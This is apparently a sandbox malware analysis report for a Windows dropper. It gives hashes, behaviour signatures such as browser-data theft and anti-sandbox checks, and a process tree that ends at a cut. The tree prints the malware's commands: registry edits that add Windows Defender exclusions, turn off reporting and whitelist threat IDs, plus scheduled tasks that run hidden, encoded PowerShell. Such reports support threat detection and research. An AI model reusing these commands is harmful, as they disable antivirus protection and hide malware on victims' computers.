Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    114s
  • max time network
    128s
  • platform
    windows10-1703_x64
  • resource
    win10-20231020-en
  • resource tags

    arch:x64arch:x86image:win10-20231020-enlocale:en-usos:windows10-1703-x64system
  • submitted
    03/11/2023, 00:34

General

  • Target

    1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe

  • Size

    7.2MB

  • MD5

    843e10f79eb11537659c86c6dfd89287

  • SHA1

    7c2e78a06669dfcd66a2f0570927f6dc25a90c1c

  • SHA256

    1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa

  • SHA512

    2b324f98a4dd43b6ef320673f4130f7af98c4b58c693c0b9e96ded35866015a7cf11e3fc435a0eca65c755e05abb5f7920868c2adbfb87d35285f6d2b4770f76

  • SSDEEP

    196608:91ONv/mi1tAydUqHpImwO+Drjo7818pgeXJv:3ONvOiky6qHpIzfSpgeXB

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 6 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 33 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe
    "C:\Users\Admin\AppData\Local\Temp\1d8848fab3c1b40c63ff1f16c15b9bdb07c52851fd73814c3e7a491a81b1dfaa.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3764
    • C:\Users\Admin\AppData\Local\Temp\7zS2E9.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3560
      • C:\Users\Admin\AppData\Local\Temp\7zS5A8.tmp\Install.exe
        .\Install.exe /PPCdiddiYt "525403" /S
        3⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4672
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1160
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:4944
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:4208
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3016
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4484
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:3452
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:4180
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "gTALYMTyP" /SC once /ST 00:27:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:1268
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "gTALYMTyP"
                  4⤵
                    PID:5000
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "gTALYMTyP"
                    4⤵
                      PID:3796
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bYcGLrVzBmDTabgRKD" /SC once /ST 00:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe\" Kj /aXsite_idfwh 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:4924
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3152
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:3996
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                  1⤵
                    PID:4824
                  • \??\c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                    1⤵
                      PID:4868
                    • \??\c:\windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4832
                      • C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe
                        C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\THOAMDSqgDpavdW\FLmzpPZ.exe Kj /aXsite_idfwh 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:1432
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2900
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1092
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:1756
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:2924
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:752
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:704
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:364
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4176
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4064
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:5024
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:216
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:424
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2316
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4884
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:2532
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3724
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3708
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4828
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4568
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:2504
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2148
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:2176
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4352
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:1592
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:2272
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:3596
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4536
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:2064
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:5056
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:3868
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbvRANfanWfIgAmCagR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JbvRANfanWfIgAmCagR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QgOPzLpgngUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QgOPzLpgngUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VrcJoNPXHbnqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VrcJoNPXHbnqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rCIrZuLOqTZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rCIrZuLOqTZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xpXIdTsIU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xpXIdTsIU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\dQQdYJnyZsrajfVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\dQQdYJnyZsrajfVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MzeqAYTaEVrEnsbBu\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDAaZetztCfwsYsz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\dDAaZetztCfwsYsz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4572
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:3280
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:2428
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JbvRANfanWfIgAmCagR" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4460
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QgOPzLpgngUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:1268
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QgOPzLpgngUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1876
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VrcJoNPXHbnqC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1388
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VrcJoNPXHbnqC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4320
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rCIrZuLOqTZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:3840
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rCIrZuLOqTZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:2264
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xpXIdTsIU" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4540
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xpXIdTsIU" /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:3436
                                                                                                        • C:\Windows\SysWOW64\reg.exe
